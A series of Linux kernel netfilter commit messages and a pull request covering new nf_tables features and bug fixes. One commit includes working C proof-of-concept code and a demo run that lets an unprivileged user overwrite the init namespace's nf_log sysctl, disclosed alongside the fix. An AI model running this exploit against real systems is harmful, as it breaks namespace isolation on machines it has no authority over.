Pablo Neira Ayuso says:
====================
Netfilter updates for net-next
The following patchset contains Netfilter updates for your net-next
tree. This includes better integration with the routing subsystem for
nf_tables, explicit notrack support and smaller updates. More
specifically, they are:
1) Add fib lookup expression for nf_tables, from Florian Westphal. This
new expression provides a native replacement for iptables addrtype
and rp_filter matches. This is more flexible though, since we can
populate the kernel flowi representation to inquire fib to
accomodate new usecases, such as RTBH through skb mark.
2) Introduce rt expression for nf_tables, from Anders K. Pedersen. This
new expression allow you to access skbuff route metadata, more
specifically nexthop and classid fields.
3) Add notrack support for nf_tables, to skip conntracking, requested by
many users already.
4) Add boilerplate code to allow to use nf_log infrastructure from
nf_tables ingress.
5) Allow to mangle pkttype from nf_tables prerouting chain, to emulate
the xtables cluster match, from Liping Zhang.
6) Move socket lookup code into generic nf_socket_* infrastructure so
we can provide a native replacement for the xtables socket match.
7) Make sure nfnetlink_queue data that is updated on every packets is
placed in a different cache from read-only data, from Florian Westphal.
8) Handle NF_STOLEN from nf_tables core, also from Florian Westphal.
9) Start round robin number generation in nft_numgen from zero,
instead of n-1, for consistency with xtables statistics match,
patch from Liping Zhang.
10) Set GFP_NOWARN flag in skbuff netlink allocations in nfnetlink_log,
given we retry with a smaller allocation on failure, from Calvin Owens.
11) Cleanup xt_multiport to use switch(), from Gao feng.
12) Remove superfluous check in nft_immediate and nft_cmp, from
Liping Zhang.
====================
Signed-off-by: David S. Miller <davem@davemloft.net>
As the comment indicates, the data at the end of nfqnl_instance struct is
written on every queue/dequeue, so it should reside in its own cacheline.
Before this change, 'lock' was in first cacheline so we dirtied both.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
After call nft_data_init, size is already validated and desc.len will
not exceed the sizeof(struct nft_data), i.e. 16 bytes. So it will never
exceed U8_MAX.
Furthermore, in nft_immediate_init, we forget to call nft_data_uninit
when desc.len exceeds U8_MAX, although this will not happen, but it's
a logical mistake.
Now remove these redundant validation introduced by commit 36b701fae1
("netfilter: nf_tables: validate maximum value of u32 netlink attributes")
Signed-off-by: Liping Zhang <zlpnobody@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Introduces an nftables rt expression for routing related data with support
for nexthop (i.e. the directly connected IP address that an outgoing packet
is sent to), which can be used either for matching or accounting, eg.
# nft add rule filter postrouting \
ip daddr 192.168.1.0/24 rt nexthop != 192.168.0.1 drop
This will drop any traffic to 192.168.1.0/24 that is not routed via
192.168.0.1.
# nft add rule filter postrouting \
flow table acct { rt nexthop timeout 600s counter }
# nft add rule ip6 filter postrouting \
flow table acct { rt nexthop timeout 600s counter }
These rules count outgoing traffic per nexthop. Note that the timeout
releases an entry if no traffic is seen for this nexthop within 10 minutes.
# nft add rule inet filter postrouting \
ether type ip \
flow table acct { rt nexthop timeout 600s counter }
# nft add rule inet filter postrouting \
ether type ip6 \
flow table acct { rt nexthop timeout 600s counter }
Same as above, but via the inet family, where the ether type must be
specified explicitly.
"rt classid" is also implemented identical to "meta rtclassid", since it
is more logical to have this match in the routing expression going forward.
Signed-off-by: Anders K. Pedersen <akp@cohaesio.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Move layer 2 packet logging into nf_log_l2packet() that resides in
nf_log_common.c, so this can be shared by both bridge and netdev
families.
This patch adds the boiler plate code to register the netdev logging
family.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Add FIB expression, supported for ipv4, ipv6 and inet family (the latter
just dispatches to ipv4 or ipv6 one based on nfproto).
Currently supports fetching output interface index/name and the
rtm_type associated with an address.
This can be used for adding path filtering. rtm_type is useful
to e.g. enforce a strong-end host model where packets
are only accepted if daddr is configured on the interface the
packet arrived on.
The fib expression is a native nftables alternative to the
xtables addrtype and rp_filter matches.
FIB result order for oif/oifname retrieval is as follows:
- if packet is local (skb has rtable, RTF_LOCAL set, this
will also catch looped-back multicast packets), set oif to
the loopback interface.
- if fib lookup returns an error, or result points to local,
store zero result. This means '--local' option of -m rpfilter
is not supported. It is possible to use 'fib type local' or add
explicit saddr/daddr matching rules to create exceptions if this
is really needed.
- store result in the destination register.
In case of multiple routes, search set for desired oif in case
strict matching is requested.
ipv4 and ipv6 behave fib expressions are supposed to behave the same.
[ I have collapsed Arnd Bergmann's ("netfilter: nf_tables: fib warnings")
http://patchwork.ozlabs.org/patch/688615/
to address fallout from this patch after rebasing nf-next, that was
posted to address compilation warnings. --pablo ]
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
When the memory is exhausted, then we will fail to add the NFT_MSG_NEWSET
transaction. In such case, we should destroy the set before we free it.
Fixes: 958bee14d0 ("netfilter: nf_tables: use new transaction infrastructure to handle sets")
Signed-off-by: Liping Zhang <zlpnobody@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Mostly simple overlapping changes.
For example, David Ahern's adjacency list revamp in 'net-next'
conflicted with an adjacency list traversal bug fix in 'net'.
Signed-off-by: David S. Miller <davem@davemloft.net>
Building the ip_vs_sync code with CONFIG_OPTIMIZE_INLINING on x86
confuses the compiler to the point where it produces a rather
dubious warning message:
net/netfilter/ipvs/ip_vs_sync.c:1073:33: error: ‘opt.init_seq’ may be used uninitialized in this function [-Werror=maybe-uninitialized]
struct ip_vs_sync_conn_options opt;
^~~
net/netfilter/ipvs/ip_vs_sync.c:1073:33: error: ‘opt.delta’ may be used uninitialized in this function [-Werror=maybe-uninitialized]
net/netfilter/ipvs/ip_vs_sync.c:1073:33: error: ‘opt.previous_delta’ may be used uninitialized in this function [-Werror=maybe-uninitialized]
net/netfilter/ipvs/ip_vs_sync.c:1073:33: error: ‘*((void *)&opt+12).init_seq’ may be used uninitialized in this function [-Werror=maybe-uninitialized]
net/netfilter/ipvs/ip_vs_sync.c:1073:33: error: ‘*((void *)&opt+12).delta’ may be used uninitialized in this function [-Werror=maybe-uninitialized]
net/netfilter/ipvs/ip_vs_sync.c:1073:33: error: ‘*((void *)&opt+12).previous_delta’ may be used uninitialized in this function [-Werror=maybe-uninitialized]
The problem appears to be a combination of a number of factors, including
the __builtin_bswap32 compiler builtin being slightly odd, having a large
amount of code inlined into a single function, and the way that some
functions only get partially inlined here.
I've spent way too much time trying to work out a way to improve the
code, but the best I've come up with is to add an explicit memset
right before the ip_vs_seq structure is first initialized here. When
the compiler works correctly, this has absolutely no effect, but in the
case that produces the warning, the warning disappears.
In the process of analysing this warning, I also noticed that
we use memcpy to copy the larger ip_vs_sync_conn_options structure
over two members of the ip_vs_conn structure. This works because
the layout is identical, but seems error-prone, so I'm changing
this in the process to directly copy the two members. This change
seemed to have no effect on the object code or the warning, but
it deals with the same data, so I kept the two changes together.
Signed-off-by: Arnd Bergmann <arnd@arndb.de>
Acked-by: Julian Anastasov <ja@ssi.bg>
Signed-off-by: Simon Horman <horms@verge.net.au>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Now genl_register_family() is the only thing (other than the
users themselves, perhaps, but I didn't find any doing that)
writing to the family struct.
In all families that I found, genl_register_family() is only
called from __init functions (some indirectly, in which case
I've add __init annotations to clarifly things), so all can
actually be marked __ro_after_init.
This protects the data structure from accidental corruption.
Signed-off-by: Johannes Berg <johannes.berg@intel.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Instead of providing macros/inline functions to initialize
the families, make all users initialize them statically and
get rid of the macros.
This reduces the kernel code size by about 1.6k on x86-64
(with allyesconfig).
Signed-off-by: Johannes Berg <johannes.berg@intel.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Static family IDs have never really been used, the only
use case was the workaround I introduced for those users
that assumed their family ID was also their multicast
group ID.
Additionally, because static family IDs would never be
reserved by the generic netlink code, using a relatively
low ID would only work for built-in families that can be
registered immediately after generic netlink is started,
which is basically only the control family (apart from
the workaround code, which I also had to add code for so
it would reserve those IDs)
Thus, anything other than GENL_ID_GENERATE is flawed and
luckily not used except in the cases I mentioned. Move
those workarounds into a few lines of code, and then get
rid of GENL_ID_GENERATE entirely, making it more robust.
Signed-off-by: Johannes Berg <johannes.berg@intel.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Commit 36b701fae1 ("netfilter: nf_tables: validate maximum value of
u32 netlink attributes") introduced nft_parse_u32_check with a return
value of "unsigned int", yet on error it returns "-ERANGE".
This patch corrects the mismatch by changing the return value to "int",
which happens to match the actual users of nft_parse_u32_check already.
Found by Coverity, CID 1373930.
Note that commit 21a9e0f156 ("netfilter: nft_exthdr: fix error
handling in nft_exthdr_init()) attempted to address the issue, but
did not address the return type of nft_parse_u32_check.
Signed-off-by: John W. Linville <linville@tuxdriver.com>
Cc: Laura Garcia Liebana <nevola@gmail.com>
Cc: Pablo Neira Ayuso <pablo@netfilter.org>
Cc: Dan Carpenter <dan.carpenter@oracle.com>
Fixes: 36b701fae1 ("netfilter: nf_tables: validate maximum value...")
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
on SIP requests, so a fragmented TCP SIP packet from an allow header starting with
INVITE,NOTIFY,OPTIONS,REFER,REGISTER,UPDATE,SUBSCRIBE
Content-Length: 0
will not bet interpreted as an INVITE request. Also Request-URI must start with an alphabetic character.
Confirm with RFC 3261
Request-Line = Method SP Request-URI SP SIP-Version CRLF
Fixes: 30f33e6dee ("[NETFILTER]: nf_conntrack_sip: support method specific request/response handling")
Signed-off-by: Ulrich Weber <ulrich.weber@riverbed.com>
Acked-by: Marco Angaroni <marcoangaroni@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Packets may race when create the new element in nft_hash_update:
CPU0 CPU1
lookup_fast - fail lookup_fast - fail
new - ok new - ok
insert - ok insert - fail(EEXIST)
So when race happened, we reuse the existing element. Otherwise,
these *racing* packets will not be handled properly.
Fixes: 22fe54d5fe ("netfilter: nf_tables: add support for dynamic set updates")
Signed-off-by: Liping Zhang <zlpnobody@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
When nft_expr_clone failed, a series of problems will happen:
1. module refcnt will leak, we call __module_get at the beginning but
we forget to put it back if ops->clone returns fail
2. memory will be leaked, if clone fail, we just return NULL and forget
to free the alloced element
3. set->nelems will become incorrect when set->size is specified. If
clone fail, we should decrease the set->nelems
Now this patch fixes these problems. And fortunately, clone fail will
only happen on counter expression when memory is exhausted.
Fixes: 086f332167 ("netfilter: nf_tables: add clone interface to expression operations")
Signed-off-by: Liping Zhang <zlpnobody@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
When CONFIG_NFT_SET_HASH is not enabled and I input the following rule:
"nft add rule filter output flow table test {ip daddr counter }", kernel
panic happened on my system:
BUG: unable to handle kernel NULL pointer dereference at (null)
IP: [< (null)>] (null)
[...]
Call Trace:
[<ffffffffa0590466>] ? nft_dynset_eval+0x56/0x100 [nf_tables]
[<ffffffffa05851bb>] nft_do_chain+0xfb/0x4e0 [nf_tables]
[<ffffffffa0432f01>] ? nf_conntrack_tuple_taken+0x61/0x210 [nf_conntrack]
[<ffffffffa0459ea6>] ? get_unique_tuple+0x136/0x560 [nf_nat]
[<ffffffffa043bca1>] ? __nf_ct_ext_add_length+0x111/0x130 [nf_conntrack]
[<ffffffffa045a357>] ? nf_nat_setup_info+0x87/0x3b0 [nf_nat]
[<ffffffff81761e27>] ? ipt_do_table+0x327/0x610
[<ffffffffa045a6d7>] ? __nf_nat_alloc_null_binding+0x57/0x80 [nf_nat]
[<ffffffffa059f21f>] nft_ipv4_output+0xaf/0xd0 [nf_tables_ipv4]
[<ffffffff81702515>] nf_iterate+0x55/0x60
[<ffffffff81702593>] nf_hook_slow+0x73/0xd0
Because in rbtree type set, ops->update is not implemented. So just keep
it simple, in such case, report -EOPNOTSUPP to the user space.
Fixes: 22fe54d5fe ("netfilter: nf_tables: add support for dynamic set updates")
Signed-off-by: Liping Zhang <zlpnobody@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
This patch adds notrack support.
I decided to add a new expression, given that this doesn't fit into the
existing set operation. Notrack doesn't need a source register, and an
hypothetical NFT_CT_NOTRACK key makes no sense since matching the
untracked state is done through NFT_CT_STATE.
I'm placing this new notrack expression into nft_ct.c, I think a single
module is too much.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
After supporting this, we can combine it with hash expression to emulate
the 'cluster match'.
Suggested-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Currently we start round robin from 1, but it's better to start round
robin from 0. This is to keep consistent with xt_statistic in iptables.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Currently not supported, we'd oops as skb was (or is) free'd elsewhere.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Since the code explicilty falls back to a smaller allocation when the
large one fails, we shouldn't complain when that happens.
Signed-off-by: Calvin Owens <calvinowens@fb.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
There are multiple equality condition checks in the original codes, so it
is better to use switch case instead of them.
Signed-off-by: Gao Feng <fgao@ikuai8.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
nf_queue handling is broken since e3b37f11e6 ("netfilter: replace
list_head with single linked list") for two reasons:
1) If the bypass flag is set on, there are no userspace listeners and
we still have more hook entries to iterate over, then jump to the
next hook. Otherwise accept the packet. On nf_reinject() path, the
okfn() needs to be invoked.
2) We should not re-enter the same hook on packet reinjection. If the
packet is accepted, we have to skip the current hook from where the
packet was enqueued, otherwise the packets gets enqueued over and
over again.
This restores the previous list_for_each_entry_continue() behaviour
happening from nf_iterate() that was dealing with these two cases.
This patch introduces a new nf_queue() wrapper function so this fix
becomes simpler.
Fixes: e3b37f11e6 ("netfilter: replace list_head with single linked list")
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
When the maximum evictions number is reached, do not wait 5 seconds before
the next run.
CC: Florian Westphal <fw@strlen.de>
Signed-off-by: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Acked-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Markus Trippelsdorf reports:
WARNING: kmemcheck: Caught 64-bit read from uninitialized memory (ffff88001e605480)
4055601e0088ffff000000000000000090686d81ffffffff0000000000000000
u u u u u u u u u u u u u u u u i i i i i i i i u u u u u u u u
^
|RIP: 0010:[<ffffffff8166e561>] [<ffffffff8166e561>] nf_register_net_hook+0x51/0x160
[..]
[<ffffffff8166e561>] nf_register_net_hook+0x51/0x160
[<ffffffff8166eaaf>] nf_register_net_hooks+0x3f/0xa0
[<ffffffff816d6715>] ipt_register_table+0xe5/0x110
[..]
This warning is harmless; we copy 'uninitialized' data from the hook ops
but it will not be used.
Long term the structures keeping run-time data should be disentangled
from those only containing config-time data (such as where in the list
to insert a hook), but thats -next material.
Reported-by: Markus Trippelsdorf <markus@trippelsdorf.de>
Suggested-by: Al Viro <viro@ZenIV.linux.org.uk>
Signed-off-by: Florian Westphal <fw@strlen.de>
Acked-by: Aaron Conole <aconole@bytheb.org>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
The newly added nft_range_eval() function handles the two possible
nft range operations, but as the compiler warning points out,
any unexpected value would lead to the 'mismatch' variable being
used without being initialized:
net/netfilter/nft_range.c: In function 'nft_range_eval':
net/netfilter/nft_range.c:45:5: error: 'mismatch' may be used uninitialized in this function [-Werror=maybe-uninitialized]
This removes the variable in question and instead moves the
condition into the switch itself, which is potentially more
efficient than adding a bogus 'default' clause as in my
first approach, and is nicer than using the 'uninitialized_var'
macro.
Fixes: 0f3cd9b369 ("netfilter: nf_tables: add range expression")
Link: http://patchwork.ozlabs.org/patch/677114/
Signed-off-by: Arnd Bergmann <arnd@arndb.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Use nft_parse_u32_check() to make sure we don't get a value over the
unsigned 8-bit integer. Moreover, make sure this value doesn't go over
the two supported range comparison modes.
Fixes: 9286c2eb1fda ("netfilter: nft_range: validate operation netlink attribute")
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
"err" needs to be signed for the error handling to work.
Fixes: 36b701fae1 ('netfilter: nf_tables: validate maximum value of u32 netlink attributes')
Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
We don't want to allow negatives here.
Fixes: 36b701fae1 ('netfilter: nf_tables: validate maximum value of u32 netlink attributes')
Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Missing the nla_policy description will also miss the validation check
in kernel.
Fixes: 70ca767ea1 ("netfilter: nft_hash: Add hash offset value")
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Otherwise, user cannot add related rules if xt_ipcomp.ko is not loaded:
# iptables -A OUTPUT -p 108 -m ipcomp --ipcompspi 1
iptables: No chain/target/match by that name.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Justin and Chris spotted that iptables NFLOG target was broken when they
upgraded the kernel to 4.8: "ulogd-2.0.5- IPs are no longer logged" or
"results in segfaults in ulogd-2.0.5".
Because "struct nf_loginfo li;" is a local variable, and flags will be
filled with garbage value, not inited to zero. So if it contains 0x1,
packets will not be logged to the userspace anymore.
Fixes: 7643507fe8 ("netfilter: xt_NFLOG: nflog-range does not truncate packets")
Reported-by: Justin Piszcz <jpiszcz@lucidpixels.com>
Reported-by: Chris Caputo <ccaputo@alt.net>
Tested-by: Chris Caputo <ccaputo@alt.net>
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
With HZ=100 element timeout in dynamic sets (i.e. flow tables) is 10 times
higher than configured.
Add proper conversion to/from jiffies, when interacting with userspace.
I tested this on Linux 4.8.1, and it applies cleanly to current nf and
nf-next trees.
Fixes: 22fe54d5fe ("netfilter: nf_tables: add support for dynamic set updates")
Signed-off-by: Anders K. Pedersen <akp@cohaesio.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
On 32-bit (e.g. with m68k-linux-gnu-gcc-4.1):
net/netfilter/xt_hashlimit.c: In function ‘user2credits’:
net/netfilter/xt_hashlimit.c:476: warning: integer constant is too large for ‘long’ type
...
net/netfilter/xt_hashlimit.c:478: warning: integer constant is too large for ‘long’ type
...
net/netfilter/xt_hashlimit.c:480: warning: integer constant is too large for ‘long’ type
...
net/netfilter/xt_hashlimit.c: In function ‘rateinfo_recalc’:
net/netfilter/xt_hashlimit.c:513: warning: integer constant is too large for ‘long’ type
Fixes: 11d5f15723 ("netfilter: xt_hashlimit: Create revision 2 to support higher pps rates")
Signed-off-by: Geert Uytterhoeven <geert@linux-m68k.org>
Acked-by: Vishwanath Pai <vpai@akamai.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Use the correct pattern for singly linked list insertion and
deletion. We can also calculate the list head outside of the
mutex.
Fixes: e3b37f11e6 ("netfilter: replace list_head with single linked list")
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Reviewed-by: Aaron Conole <aconole@bytheb.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
net/netfilter/core.c | 108 ++++++++++++++++-----------------------------------
1 file changed, 33 insertions(+), 75 deletions(-)
nf_log_proc_dostring() used current's network namespace instead of the one
corresponding to the sysctl file the write was performed on. Because the
permission check happens at open time and the nf_log files in namespaces
are accessible for the namespace owner, this can be abused by an
unprivileged user to effectively write to the init namespace's nf_log
sysctls.
Stash the "struct net *" in extra2 - data and extra1 are already used.
Repro code:
#define _GNU_SOURCE
#include <stdlib.h>
#include <sched.h>
#include <err.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
char child_stack[1000000];
uid_t outer_uid;
gid_t outer_gid;
int stolen_fd = -1;
void writefile(char *path, char *buf) {
int fd = open(path, O_WRONLY);
if (fd == -1)
err(1, "unable to open thing");
if (write(fd, buf, strlen(buf)) != strlen(buf))
err(1, "unable to write thing");
close(fd);
}
int child_fn(void *p_) {
if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC,
NULL))
err(1, "mount");
/* Yes, we need to set the maps for the net sysctls to recognize us
* as namespace root.
*/
char buf[1000];
sprintf(buf, "0 %d 1\n", (int)outer_uid);
writefile("/proc/1/uid_map", buf);
writefile("/proc/1/setgroups", "deny");
sprintf(buf, "0 %d 1\n", (int)outer_gid);
writefile("/proc/1/gid_map", buf);
stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY);
if (stolen_fd == -1)
err(1, "open nf_log");
return 0;
}
int main(void) {
outer_uid = getuid();
outer_gid = getgid();
int child = clone(child_fn, child_stack + sizeof(child_stack),
CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID
|CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL);
if (child == -1)
err(1, "clone");
int status;
if (wait(&status) != child)
err(1, "wait");
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
errx(1, "child exit status bad");
char *data = "NONE";
if (write(stolen_fd, data, strlen(data)) != strlen(data))
err(1, "write");
return 0;
}
Repro:
$ gcc -Wall -o attack attack.c -std=gnu99
$ cat /proc/sys/net/netfilter/nf_log/2
nf_log_ipv4
$ ./attack
$ cat /proc/sys/net/netfilter/nf_log/2
NONE
Because this looks like an issue with very low severity, I'm sending it to
the public list directly.
Signed-off-by: Jann Horn <jann@thejh.net>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Division of 64bit integers will cause linker error undefined reference
to `__udivdi3'. Fix this by replacing divisions with div64_64
Fixes: 11d5f15723 ("netfilter: xt_hashlimit: Create revision 2 to ...")
Signed-off-by: Vishwanath Pai <vpai@akamai.com>
Acked-by: Maciej Żenczykowski <maze@google.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
When CONFIG_NETFILTER_INGRESS is unset (or no), we need to handle
the request for registration properly by dropping the hook. This
releases the entry during the set.
Fixes: e3b37f11e6 ("netfilter: replace list_head with single linked list")
Signed-off-by: Aaron Conole <aconole@bytheb.org>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
It's possible for nf_hook_entry_head to return NULL. If two
nf_unregister_net_hook calls happen simultaneously with a single hook
entry in the list, both will enter the nf_hook_mutex critical section.
The first will successfully delete the head, but the second will see
this NULL pointer and attempt to dereference.
This fix ensures that no null pointer dereference could occur when such
a condition happens.
Fixes: e3b37f11e6 ("netfilter: replace list_head with single linked list")
Signed-off-by: Aaron Conole <aconole@bytheb.org>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Conflicts:
net/netfilter/core.c
net/netfilter/nf_tables_netdev.c
Resolve two conflicts before pull request for David's net-next tree:
1) Between c73c248490 ("netfilter: nf_tables_netdev: remove redundant
ip_hdr assignment") from the net tree and commit ddc8b6027a
("netfilter: introduce nft_set_pktinfo_{ipv4, ipv6}_validate()").
2) Between e8bffe0cf9 ("net: Add _nf_(un)register_hooks symbols") and
Aaron Conole's patches to replace list_head with single linked list.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
nf_log is used by both nftables and iptables, so use XT_LOG_XXX macros
here is not appropriate. Replace them with NF_LOG_XXX.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
NFTA_LOG_FLAGS attribute is already supported, but the related
NF_LOG_XXX flags are not exposed to the userspace. So we cannot
explicitly enable log flags to log uid, tcp sequence, ip options
and so on, i.e. such rule "nft add rule filter output log uid"
is not supported yet.
So move NF_LOG_XXX macro definitions to the uapi/../nf_log.h. In
order to keep consistent with other modules, change NF_LOG_MASK to
refer to all supported log flags. On the other hand, add a new
NF_LOG_DEFAULT_MASK to refer to the original default log flags.
Finally, if user specify the unsupported log flags or NFTA_LOG_GROUP
and NFTA_LOG_FLAGS are set at the same time, report EINVAL to the
userspace.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Inverse ranges != [a,b] are not currently possible because rules are
composites of && operations, and we need to express this:
data < a || data > b
This patch adds a new range expression. Positive ranges can be already
through two cmp expressions:
cmp(sreg, data, >=)
cmp(sreg, data, <=)
This new range expression provides an alternative way to express this.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Fabian reports a possible conntrack memory leak (could not reproduce so
far), however, one minor issue can be easily resolved:
> cat /proc/net/nf_conntrack | wc -l = 5
> 4 minutes required to clean up the table.
We should not report those timed-out entries to the user in first place.
And instead of just skipping those timed-out entries while iterating over
the table we can also zap them (we already do this during ctnetlink
walks, but I forgot about the /proc interface).
Fixes: f330a7fdbe ("netfilter: conntrack: get rid of conntrack timer")
Reported-by: Fabian Frederick <fabf@skynet.be>
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Create a new revision for the hashlimit iptables extension module. Rev 2
will support higher pps of upto 1 million, Version 1 supports only 10k.
To support this we have to increase the size of the variables avg and
burst in hashlimit_cfg to 64-bit. Create two new structs hashlimit_cfg2
and xt_hashlimit_mtinfo2 and also create newer versions of all the
functions for match, checkentry and destroy.
Some of the functions like hashlimit_mt, hashlimit_mt_check etc are very
similar in both rev1 and rev2 with only minor changes, so I have split
those functions and moved all the common code to a *_common function.
Signed-off-by: Vishwanath Pai <vpai@akamai.com>
Signed-off-by: Joshua Hunt <johunt@akamai.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
I am planning to add a revision 2 for the hashlimit xtables module to
support higher packets per second rates. This patch renames all the
functions and variables related to revision 1 by adding _v1 at the
end of the names.
Signed-off-by: Vishwanath Pai <vpai@akamai.com>
Signed-off-by: Joshua Hunt <johunt@akamai.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
NFT_CT_MARK is unrelated to direction, so if NFTA_CT_DIRECTION attr is
specified, report EINVAL to the userspace. This validation check was
already done at nft_ct_get_init, but we missed it in nft_ct_set_init.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Currently, if the user want to match ct l3proto, we must specify the
direction, for example:
# nft add rule filter input ct original l3proto ipv4
^^^^^^^^
Otherwise, error message will be reported:
# nft add rule filter input ct l3proto ipv4
nft add rule filter input ct l3proto ipv4
<cmdline>:1:1-38: Error: Could not process rule: Invalid argument
add rule filter input ct l3proto ipv4
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Actually, there's no need to require NFTA_CT_DIRECTION attr, because
ct l3proto and protocol are unrelated to direction.
And for compatibility, even if the user specify the NFTA_CT_DIRECTION
attr, do not report error, just skip it.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
It is valid that the TCP RST packet which does not set ack flag, and bytes
of ack number are zero. But current seqadj codes would adjust the "0" ack
to invalid ack number. Actually seqadj need to check the ack flag before
adjust it for these RST packets.
The following is my test case
client is 10.26.98.245, and add one iptable rule:
iptables -I INPUT -p tcp --sport 12345 -m connbytes --connbytes 2:
--connbytes-dir reply --connbytes-mode packets -j REJECT --reject-with
tcp-reset
This iptables rule could generate on TCP RST without ack flag.
server:10.172.135.55
Enable the synproxy with seqadjust by the following iptables rules
iptables -t raw -A PREROUTING -i eth0 -p tcp -d 10.172.135.55 --dport 12345
-m tcp --syn -j CT --notrack
iptables -A INPUT -i eth0 -p tcp -d 10.172.135.55 --dport 12345 -m conntrack
--ctstate INVALID,UNTRACKED -j SYNPROXY --sack-perm --timestamp --wscale 7
--mss 1460
iptables -A OUTPUT -o eth0 -p tcp -s 10.172.135.55 --sport 12345 -m conntrack
--ctstate INVALID,UNTRACKED -m tcp --tcp-flags SYN,RST,ACK SYN,ACK -j ACCEPT
The following is my test result.
1. packet trace on client
root@routers:/tmp# tcpdump -i eth0 tcp port 12345 -n
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.26.98.245.45154 > 10.172.135.55.12345: Flags [S], seq 3695959829,
win 29200, options [mss 1460,sackOK,TS val 452367884 ecr 0,nop,wscale 7],
length 0
IP 10.172.135.55.12345 > 10.26.98.245.45154: Flags [S.], seq 546723266,
ack 3695959830, win 0, options [mss 1460,sackOK,TS val 15643479 ecr 452367884,
nop,wscale 7], length 0
IP 10.26.98.245.45154 > 10.172.135.55.12345: Flags [.], ack 1, win 229,
options [nop,nop,TS val 452367885 ecr 15643479], length 0
IP 10.172.135.55.12345 > 10.26.98.245.45154: Flags [.], ack 1, win 226,
options [nop,nop,TS val 15643479 ecr 452367885], length 0
IP 10.26.98.245.45154 > 10.172.135.55.12345: Flags [R], seq 3695959830,
win 0, length 0
2. seqadj log on server
[62873.867319] Adjusting sequence number from 602341895->546723267,
ack from 3695959830->3695959830
[62873.867644] Adjusting sequence number from 602341895->546723267,
ack from 3695959830->3695959830
[62873.869040] Adjusting sequence number from 3695959830->3695959830,
ack from 0->55618628
To summarize, it is clear that the seqadj codes adjust the 0 ack when receive
one TCP RST packet without ack.
